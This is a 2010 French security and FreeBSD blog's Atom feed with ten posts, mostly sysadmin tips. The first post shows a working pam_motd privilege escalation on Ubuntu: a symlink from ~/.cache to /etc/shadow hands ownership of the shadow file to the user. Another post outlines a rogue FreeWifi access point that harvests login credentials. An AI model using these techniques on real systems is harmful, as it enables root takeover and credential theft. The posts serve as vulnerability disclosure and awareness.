<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
<?xml-stylesheet type="text/css" href="http://blog.madpowah.org/"?>


<title type="html">cloud's Blog</title>
<subtitle type="html">Security / FreeBSD / *NIX blog</subtitle>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org"/>
<link rel="self" type="application/atom+xml" href="http://blog.madpowah.org/atom.xml"/>
<updated>2010-07-13T00:44:57+02:00</updated>
<author>
<name>cloud</name>
<uri>http://blog.madpowah.org</uri>
</author>
<id>http://blog.madpowah.org/</id>
<generator uri="http://nanoblogger.sourceforge.net" version="3.4.2">
NanoBlogger
</generator>

<entry>
<title type="html">[Secu] Vulnerabilite pam_motd sur Ubuntu</title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/07/index.html#e2010-07-08T21_03_07.txt"/>

<id>http://blog.madpowah.org/archives/2010/07/index.html#e2010-07-08T21_03_07.txt</id>
<published>2010-07-08T21:03:07+02:00</published>
<updated>2010-07-08T21:03:07+02:00</updated>
<category term="OpenSource" />
<category term="Security" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
La vuln&eacute;rabilit&eacute; du jour concerne le module pam_motd sur Ubuntu 9.10 et 10.04 et a &eacute;t&eacute; trouv&eacute;e par Denis Excoffier
<br /><br />
Ce module sert &agrave; afficher le /etc/motd lors d'une connexion d'un user. A la premi&egrave;re connexion d'un user, le module pam_motd va 
cr&eacute;&eacute; un fichier ~/.cache/motd.legal-notice afin de ne pas r&eacute;afficher le motd lors des futures connexions. Seulement le module a des 
privil&egrave;ges 
important et du coup va modifier les droits si on remplace le r&eacute;pertoire .cache/ par un lien sympbolique vers le fichier de son choix ayant meme les 
droits root. 
Ainsi si l'on souhaite modifier le /etc/shadow afin de modifier le pass root il suffit de faire :
<pre>
cloud@pentest:~$ ls -l /etc/shadow
-rw-r----- 1 root root 1362 2010-07-08 19:31 /etc/shadow
cloud@pentest:~$ rm -rf .cache
cloud@pentest:~$ ln -s /etc/shadow .cache
cloud@pentest:~$ ssh localhost
cloud@localhost's password: 
Linux pentest 2.6.31-22-generic #60-Ubuntu SMP Thu May 27 00:22:23 UTC 2010 i686

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
..................
..................
Last login: Thu Jul  8 20:47:58 2010 from localhost
cloud@pentest:~$ ls -l /etc/shadow
-rw-r----- 1 cloud cloud 1362 2010-07-08 19:31 /etc/shadow
</pre>
Mettez a jour votre distrib.
<br /><br />

Have fun.
</div>
</content>

</entry>
<entry>
<title type="html">Utiliser Joomla derriere un Reverse Proxy</title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/07/index.html#e2010-07-03T23_23_25.txt"/>

<id>http://blog.madpowah.org/archives/2010/07/index.html#e2010-07-03T23_23_25.txt</id>
<published>2010-07-03T23:23:25+02:00</published>
<updated>2010-07-03T23:23:25+02:00</updated>
<category term="OpenSource" />
<category term="Coding" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
J'avais test&eacute; vite fait en 2008 d'installer un Joomla derri&egrave;re un Reverse Proxy sans succ&egrave;s. Aujourd'hui j'ai encore eu ce besoin donc 
j'ai un peu plus insist&eacute; pour finalement y arriver. Voici comment :
<br /><br />
L'architecture ressemble &agrave; ceci :
<pre>
client ------- RP Apache (mod_proxy + mod_security) ---------- Nginx
</pre>
1er test pour etre sur que le probl&egrave;me vient de Joomla, j'ajoute une page vide dans le r&eacute;pertoire du site et je test d'y acc&eacute;der avec 
succ&egrave;s. 
Le probl&egrave;me vient donc bien du CMS.
<br /><br />
Joomla indique depuis la <a href="http://www.joomla.org/announcements/release-news/4560-joomla-1-5-1-released.html" target="_blank">version 1.5.1</a> que la 
configuration a &eacute;t&eacute; simplifi&eacute;e pour etre utilis&eacute; derri&egrave;re un RP. 
Cependant personnellement je n'ai pas r&eacute;ussi comme eux le pr&eacute;conise. Pour moi il suffit juste d'indiquer dans le fichier configuration.php la 
valeur de la variable $live_site en donnant l'url publique. Apr&egrave;s plusieurs tests, rien n'y fait. Ca ne marche pas.
<br /><br />
Je ne suis pas un utilisateur aguerri de Joomla donc apr&egrave;s quelques recherches, je suis tomb&eacute; sur <a 
href="http://forum.joomla.org/viewtopic.php?f=304&t=336374" target="_blank">cette explication</a>.
J'ai test mais sans succ&egrave;s. Voyant que c'est quand meme ce fichier uri.php qui semble g&eacute;n&eacute;rer tous les liens du site et les appels divers, 
j'ai test&eacute; de le modifier en ins&eacute;rant l'url en dur et la : Bingo !
<br /><br />
Il faut donc modifier la page /home/sitejoomla/libraries/joomla/environment/uri.php en modifiant la variable $_SERVER['HTTP_HOST'] 
par l'adresse du site public en dur comme ceci :
<pre>
 * Since we are assigning the URI from the server variables, we first need
 * to determine if we are running on apache or IIS.  If PHP_SELF and REQUEST_URI
 * are present, we will assume we are running on apache.
 */
if (!empty ($_SERVER['PHP_SELF']) && !empty ($_SERVER['REQUEST_URI'])) {

		/*
		 * To build the entire URI we need to prepend the protocol, and the http host
		 * to the URI string.
		 */
		$theURI = 'http' . $https . 'www.site-public.com' . $_SERVER['REQUEST_URI'];
</pre>

Have fun.
</div>
</content>

</entry>
<entry>
<title type="html">[Secu]Ne jamais stocker son pass MySQL en clair </title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/06/index.html#e2010-06-16T22_23_48.txt"/>

<id>http://blog.madpowah.org/archives/2010/06/index.html#e2010-06-16T22_23_48.txt</id>
<published>2010-06-16T22:23:48+02:00</published>
<updated>2010-06-16T22:23:48+02:00</updated>
<category term="Security" />
<category term="Coding" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
J'ai constat&eacute; que tous les scripts PHP utilisant MySQL stockaient le mot de passe MySQL en clair dans le code. Le risque est donc qu'en 
exploitant une LFI ou si un pirate arrive &agrave; avoir un shell sur le serveur, il lui suffira de lire les script php pour obtenir 
le pass MySQL et se connecter &agrave; cette base via un phpmyadmin par exemple.
<br /><br />
J'ai donc essayer de trouver les diff&eacute;rentes m&eacute;thodes pour ne pas donner son mot de passe MySQL en clair.
<br /><br />
La premi&egrave;re solution consiste &agrave; utiliser le mod_env et les variables d'environnement d'Apache. Il suffit d'ajouter dans le fichier de config 
du VirtualHost de son site la variable comme ceci :
<pre>
SetEnv passmysql "voicilepass"
</pre>
Pour se connecter &agrave; MySQL, il suffira alors de mettre dans son code PHP la ligne suivante :
<pre>
$con = mysql_connect($host, $login, $_SERVER['passmysql']);
</pre>
Le pass ne sera donc plus dans le code ce qui est un peu mieux. L'inconv&eacute;nient est que le pass est toujours visualisable si le pirate 
fouille un peu et va voir dans la conf d'Apache. De plus le pass apparaitra dans le phpinfo() car cette fonction r&eacute;capitule les 
variables d'environnement Apache.
<br /><br />
J'ai donc pens&eacute; &agrave; une 2e m&eacute;thode.
<br /><br />
L'objectif est de partager une variable accessible par tous les processus utilisant PHP. Pour cela il existe <a 
href="http://www.php.net/manual/fr/intro.sem.php" target="_blank">les s&eacute;maphores</a> !
<br /><br />
Nous allons donc commencer par cr&eacute;er un script launch.php initialisant la s&eacute;maphore et ajoutant la variable $pass_mysql dans la m&eacute;moire 
partag&eacute;e :
<pre>
&lt;?php
$pass_mysql = "mot_de_passe";

$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}
//On ajoute $pass_mysql dans la memoire partagee
if (!shm_put_var($shm_id, $pass_mysql, $pass_mysql))
{
    echo "Failed to put var 1 in shared memory $shm_id.\n";
}
?&gt;
</pre>
Maintenant que le mot de passe est partag&eacute;, nous pouvons supprimer le fichier :
<pre>
# rm launch.php
</pre>
Cr&eacute;ons ensuite le fichier de connexion &agrave; MySQL qui utilisera alors la variable stock&eacute;e dans la m&eacute;moire partag&eacute;e :
<pre>
&lt;?php
$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}
//Recuperation du pass mysql dans la memoire partagee
$pass = shm_get_var($shm_id, $pass_mysql); 

$con = mysql_connect('localhost', 'root', $pass);
mysql_select_db('test');

$req = "select * from `table` where id=1";
$res = mysql_query($req);
$ligne = mysql_fetch_array($res);
echo $ligne['nom'];
?&gt;
</pre>
Et voila nous avons une configuration op&eacute;rationnelle et qui permet de ne pas stocker dans un fichier en clair le pass de sa base 
de donn&eacute;e MySQL.
<br /><br />
Le seul inconv&eacute;nient est qu'il faudra r&eacute;uploader le fichier launch.php &agrave; chaque red&eacute;marrage de la machine et relancer celui ci en 
pensant 
&agrave; bien le supprimer ensuite.
</div>
</content>

</entry>
<entry>
<title type="html">Google en HTTPS,tueur de concurrents de stats ?</title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-25T22_22_15.txt"/>

<id>http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-25T22_22_15.txt</id>
<published>2010-05-25T22:22:15+02:00</published>
<updated>2010-05-25T22:22:15+02:00</updated>
<category term="Fun / Divers" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
Google a r&eacute;cemment mis en place du HTTPS sur son  moteur de recherche. C'est bien sur une bonne nouvelle pour la confidentialit&eacute; 
de nos informations mais en meme temps une bien mauvaise chose pour &eacute;valuer quels sont les mots cl&eacute;s utilis&eacute;s pour acc&eacute;der &agrave; 
notre site. En effet la <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html" target="_blank">RFC 2616 indique la consigne suivante :</a>
<pre>
Clients SHOULD NOT include a Referer header field in a (non-secure) HTTP request if the referring page was transferred with a secure protocol. 
</pre>
Cela indique donc clairement qu'un Referer ne doit pas etre envoy&eacute; dans une requete HTTP s&eacute;curis&eacute;e.
<br /><br />
Ce qui est &eacute;tonnant c'est que pour un fournisseur d'une solution de statistiques, cela va &agrave; l'encontre de l'utilit&eacute; de leur 
produit Google Analytics... a moins qu'ils aient d&eacute;j&agrave; travaill&eacute; sur le sujet et que leur base de stats ne se remplissent non plus 
&agrave; la visite du site mais directement lors d'une recherche sur le moteur Google et la ca serait un coup fatal pour tous les 
autres outils de stats !
<br /><br />
Je ferais bientot quelques test pour voir ce qu'il en ait mais je soupsonne Google de faire un gros coup :)
</div>
</content>

</entry>
<entry>
<title type="html">[Secu] Portsentry et PF sous FreeBSD</title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-09T01_03_22.txt"/>

<id>http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-09T01_03_22.txt</id>
<published>2010-05-09T01:03:22+02:00</published>
<updated>2010-05-09T01:03:22+02:00</updated>
<category term="FreeBSD" />
<category term="OpenSource" />
<category term="Security" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
Portsentry est un outil permettant de d&eacute;tecter une tentative de connexion frauduleuse et permettant de r&eacute;agir imm&eacute;diatement, 
g&eacute;n&eacute;ralement en bloquant l'ip tentant de se connecter via une r&egrave;gle firewall.
<br /><br />
Portsentry est disponible via les ports FreeBSD mais ne propose qu'une configuration par d&eacute;faut en utilisant le firewall 
ipfw. Hors personnellement je ne jure que par PF. Je vais donc vous pr&eacute;senter rapidement comment l'utiliser avec PF.
<br /><br />
Nous allors donc commencer par pr&eacute;parer notre firewall PF en ajoutant les lignes suivantes dans /etc/pf.conf :
<pre>
table &lt;antiscan&gt; persist
block in quick from &lt;antiscan&gt;
</pre>
Nous avons donc ici cr&eacute;&eacute; une table appel&eacute;e antiscan qui bloquera imm&eacute;diatement (quick) toutes les IP contenues dedans.
<br /><br />
On recharge PF :
<pre>
#pfctl -f /etc/pf.conf
</pre>
Nous allons ensuite configur&eacute; portsentry afin que celui ci bloque imm&eacute;diatement une IP tentant de se connecter &agrave; un port surveill&eacute;.<br />
Pour cela nous allons ajouter la ligne suivante dans /usr/local/etc/portsentry.conf :
<pre>
KILL_RUN_CMD="pfctl -t antiscan -T add $TARGET$"
</pre>
On red&eacute;marre portsentry.
<br /><br />
Testons de nous connecter sur le port 22 de la machine qui est surveill&eacute; :
<pre>
[cloud@r00t ~]$ ssh site_cible.com
ssh_exchange_identification: Connection closed by remote host
</pre>
Observons maintenant la table antiscan du serveur site_cible.com
<pre>
site_cible.com# pfctl -t antiscan -T show
   82.168.247.31
</pre>
Mon IP apparait bien dans la table et est donc maintenant bloqu&eacute;.
<br /><br />
Portsentry ne bloque pas tous les scan de ports mais il permet d'etre un bon moyen de protection contre des attaques cibl&eacute;es 
car bloquera automatiquement la personne qui fouinera les diff&eacute;rents ports apparaissants ouverts. 
</div>
</content>

</entry>
<entry>
<title type="html">[Secu] Attention a votre compte FreeWifi ! </title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-09T00_24_48.txt"/>

<id>http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-09T00_24_48.txt</id>
<published>2010-05-09T00:24:48+02:00</published>
<updated>2010-05-09T00:24:48+02:00</updated>
<category term="Security" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
Hadopi va bientot envoyer ses 1er mails malgr&eacute; le fait qu'il ait &eacute;t&eacute; d&eacute;montr&eacute; maintes et maintes fois qu'il &eacute;tait impossible 
de certifier qu'un utilisateur &eacute;tait derri&egrave;re une IP... Bref tout le monde a d&eacute;j&agrave; pris ses VPN &agrave; l'&eacute;tranger, pris son compte 
en 
direct download, rempli ses listes de newsgroup ... On va compl&eacute;ter ici la liste avec un moyen tout simple d'usurper l'identit&eacute; 
de quelqu'un.
<br /><br />
Les gens "normaux" sont de plus en plus sensibilis&eacute;s au phishing et &agrave; d&eacute;tecter un site frauduleux. Pour cela ils se basent en 
g&eacute;n&eacute;ral sur des &eacute;l&eacute;ments basiques, l'url, les fautes d'orthographes ou encore les informations demand&eacute;es. En effet 99,9% des 
phishing remont&eacute;s par les clients de banques sont bas&eacute;s sur ces infos. Jamais une erreur de certificats sur le site officiel (bien que cela soit 
arriv&eacute;) n'a par exemple &eacute;tait remont&eacute;e. 
Dans ce cas la, si le certificat change ou est p&eacute;rim&eacute;, le client va juste l'accepter et continuer &agrave; utiliser son site. C'est 
beaucoup du &agrave; la maladie du "Suivant OK" de Windows. Le r&eacute;flexe est de cliquer pour que ca marche.
<br /><br />
Nous allons donc utiliser cela pour pi&eacute;ger tout simplement un utilisateur Free.
<br /><br />
En effet, Free propose d'activer sur sa Freebox HD d'activer le FreeWifi afin que n'importe qui puisse se connecter sur Internet
 avec ses identifiants. Le r&eacute;seau a toujours le même nom, FreeWifi et l'interface est toujours la meme. Il suffit donc de cr&eacute;er 
 une rogue AP, de recopier l'interface de connexion FreeWifi et de rediriger toutes les requetes vers cette page. Pas besoin 
 de s'emb&eacute;ter &agrave; mettre du SSL, 9 personnes sur 10 se fera avoir donc c'est largement rentable. Si vraiment vous êtes maniaques, 
 vous pouvez g&eacute;n&eacute;rer un certificat autosign&eacute; et cela suffira. Un endroit comme un a&eacute;roport ou un lyc&eacute;e fera un endroit parfait 
 pour alors r&eacute;cup&eacute;rer ces donn&eacute;es
 <br /><br />
 Vous n'avez plus qu'&agrave; rentrer chez vous et vous connecter &agrave; votre FreeWifi avec ces identifiants.
 <br /><br />
 En cherchant un peu sur le net, on se rend compte que <a href="http://forum.universfreebox.com/viewtopic.php?t=14213&postdays=0&postorder=asc&start=0" 
target="_blank">cela a bien sur &eacute;t&eacute; relev&eacute;</a> donc doit d&eacute;j&agrave; etre pratiqu&eacute;.
 <br /><br />
 Bien sur ceci n'a pour but d'expliquer que des identifiants ou des IP ne pourront jamais assurer l'identit&eacute; d'une personne. <br />
 En aucun cas je n'incite &agrave; faire cela :) . Cela devrait marcher pour les utilisateurs Neuf aussi.
 <br /><br />
 Les 1eres jurisprudences vont etre assez sympathiques &agrave; suivre je pense mais malheureusement sans surprises.
 <br /><br />
 Pour vous prot&eacute;ger controler bien le certificat utilis&eacute;, c'est le seul moyen de d&eacute;tecter une fausse AP !
</div>
</content>

</entry>
<entry>
<title type="html">[Secu] Le mois de la securite PHP </title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-05T00_48_30.txt"/>

<id>http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-05T00_48_30.txt</id>
<published>2010-05-05T00:48:30+02:00</published>
<updated>2010-05-05T00:48:30+02:00</updated>
<category term="Security" />
<category term="Coding" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
Un petit rappel pour vous signaler que ce mois ci est le mois des bugs PHP avec au moins une nouvelle vuln&eacute;rabilit&eacute; par jour. 
Les explications sont en prime bien faites avec une explication de la vuln&eacute;rabilit&eacute; depuis le code source de PHP ainsi qu'un 
PoC par vuln. Bref que du bon pour se faire la main et comprendre comment chercher une vuln&eacute;rabilit&eacute; dans un interpr&eacute;teur.
<br /><br />
Donc pour suivre cela, allez sur le site <a href="http://php-security.org" target="_blank">http://php-security.org</a> durant tout 
le mois de Mai.
</div>
</content>

</entry>
<entry>
<title type="html">[Astuce] Installez le Top des moteurs de recherche sur votre site ! </title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-05T00_31_18.txt"/>

<id>http://blog.madpowah.org/archives/2010/05/index.html#e2010-05-05T00_31_18.txt</id>
<published>2010-05-05T00:31:18+02:00</published>
<updated>2010-05-05T00:31:18+02:00</updated>
<category term="Coding" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
Une petite astuce pour &eacute;viter de se prendre la tete que j'ai constat&eacute; appliqu&eacute;e sur python.org (mais surement pas avec un 
script php :) )
<br /><br />
On a souvent besoin d'ajouter un moteur de recherche sur son site. Hors un moteur de recherche est une application complexe 
en terme d'algorithme pour avoir quelque chose de vraiment performant. De plus c'est fr&eacute;quemment une fonctionnalit&eacute; vuln&eacute;rable 
&agrave; des failles XSS. <br />
Donc pour &eacute;viter les probl&egrave;mes, autant d&eacute;l&eacute;guer cette tache au sp&eacute;cialiste du moteur de recherche : Google !
<br /><br />
Pour cela rien de plus simple, on cr&eacute;e un formulaire avec un champs de rechercheet on redirige le r&eacute;sultat vers Google via 
une url du genre pour mon blog :
<pre>
http://www.google.com/search?hl=fr&domains=blog.madpowah.org&sitesearch=blog.madpowah.org&q=freebsd+apache&btnG=Rechercher&sitesearch=blog.madpowah.org
</pre>
Il faut mettre le nom de son site pour les variables domains et sitesearch et mettre &agrave; la variable q sa recherche 
en remplacant les espaces par des +
<br /><br />
Voici un script d'exemple : google.php
<pre>
&lt;?php
if (isset($_POST["ok"])){
	if ($_POST["ok"] === "ok") {
		$search = trim(htmlspecialchars($_POST["search"]));
		$search = str_replace(" ", "+", $search);
		$url = 'http://www.google.com/search?hl=fr&domains=blog.madpowah.org&sitesearch=blog.madpowah.org&q=' . $search . '&btnG=Rechercher';
		header('Location: ' . $url);
	}
}
?&gt;
&lt;form action="google.php" method="POST"&gt;
	&lt;input type="text" name="search" /&gt;
	&lt;input type="submit" name="ok" value="ok" /&gt;
&lt;/form&gt;
</pre>

Vous avez maintenant le plus puissant des moteurs de recherche sur votre site :)
</div>
</content>

</entry>
<entry>
<title type="html">[Secu] Jailaudit, un portaudit mutualise </title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/04/index.html#e2010-04-25T22_23_11.txt"/>

<id>http://blog.madpowah.org/archives/2010/04/index.html#e2010-04-25T22_23_11.txt</id>
<published>2010-04-25T22:23:11+02:00</published>
<updated>2010-04-25T22:23:11+02:00</updated>
<category term="FreeBSD" />
<category term="Security" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
Il est important de connaitre les vuln&eacute;rabilit&eacute;s de son syst&egrave;me. Sous FreeBSD, l'utilitaire portaudit permet de connaitre 
la liste des logiciels ou librairie pour lesquels il a &eacute;t&eacute; trouv&eacute; des vuln&eacute;rabilit&eacute;s. Seulement personnellement, j'utilise 
quasiment toujours des jails sur mes syst&egrave;mes et avais pour habitude d'installer portaudit dans chaque jail alors qu'il y a 
beaucoup plus simple !
<br /><br />
En effet l'utilitaire jailaudit permet d'ex&eacute;cuter portaudit depuis le syst&egrave;me hote sur chaque jail et d'envoyer le r&eacute;sultat 
&agrave; l'adresse email de son choix ou sur stdout. Il se base sur la commande jls pour r&eacute;cup&eacute;rer la liste des jails, t&eacute;l&eacute;charge 
la base de vuln&eacute;rabilit&eacute;s et ex&eacute;cute portaudit pour chaque jail avant d'envoyer le rapport. Il est tr&egrave;s simple d'utilisation.
<br /><br />
On commence par t&eacute;l&eacute;charger la base de vuln&eacute;rabilit&eacute;s et ex&eacute;cuter portaudit via un jailaudit generate :
<pre>
systeme_hote# jailaudit generate
                                
Downloading a current audit database:
auditfile.tbz                                 100% of   60 kB   69 kBps
New database installed.         
Database created: Sun Apr 25 19:50:01 CEST 201
</pre>
La commande va g&eacute;n&eacute;rer un fichier de rapport poru chaque jail et le stocker dans /usr/local/jailaudit/reports/. On va alors 
envoyer ses rapports &agrave; l'adresse de notre choix via la commande jailaudit mail :
<pre>
systeme_hote# jailaudit mail - ALL
portaudit for jails on systeme_hote - 6 problem(s) found.

portaudit for jail: jail1 (JID: 2)

Affected package: xxxxxxxx
 ................

2 problem(s) found.

portaudit for jail: jail2 (JID: 1)
.........
</pre>
Le "-" va afficher sur stdout le r&eacute;sultat. Pour envoyer un email, il suffit de le remplacer par une adresse :
<pre>
systeme_hote# jailaudit mail email@domaine.com ALL
</pre>

On met tout ça dans un cron et c'est automatis&eacute; :)
</div>
</content>

</entry>
<entry>
<title type="html">Lire ses mails gratuitement sans option iPhone</title>
<author>
<name>cloud</name>
</author>
<link rel="alternate" type="text/html" href="http://blog.madpowah.org/archives/2010/03/index.html#e2010-03-31T23_54_55.txt"/>

<id>http://blog.madpowah.org/archives/2010/03/index.html#e2010-03-31T23_54_55.txt</id>
<published>2010-03-31T23:54:55+02:00</published>
<updated>2010-03-31T23:54:55+02:00</updated>
<category term="FreeBSD" />
<category term="Fun / Divers" />
<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
Orange propose 2 forfaits pour utiliser Internet, l'Origami Star et l'Origami Star iPhone. L'avantage du second est de 
permettre 
de r&eacute;cup&eacute;rer ses emails directement depuis l'application Mail sans hors forfait. Par contre il coute 
7euros de plus. Certes il est tout &agrave; fait possible d'utiliser 
un webmail mais ce n'est pas le plus pratique. Pour bypasser cela il y a une technique bien plus simple, il suffit de 
vous 
connecter &agrave; votre serveur mail sur un port consid&eacute;r&eacute; comme "gratuit" par Orange comme par exemple 
le HTTPS. En effet il semble 
que le controle ne soit bas&eacute; que sur le port et non le protocole utilis&eacute; derri&egrave;re.
<br /><br />
Donc je vais faire tr&egrave;s simple, je vais rediriger toute entr&eacute;e sur mon serveur par le port 443 vers ma 
jail contenant mon serveur 
imap ssl tournant sur le port. Avec PF cela donne la r&egrave;gle suivante :
<pre>
rdr on $ext_if proto tcp from any to any port 443 -&gt; 192.168.1.30 port 993
</pre>
Bien sur tout cela impose d'avoir son propre serveur de mail pour effectuer cette redirection. Il serait 
&eacute;galement possible 
de modifier le port du serveur imap ssl.<br />
Les ports que j'ai constat&eacute; ouverts et gratuits avec mon forfait Origami Star sont les 21, 80 et 443. 
</div>
</content>

</entry>

</feed>
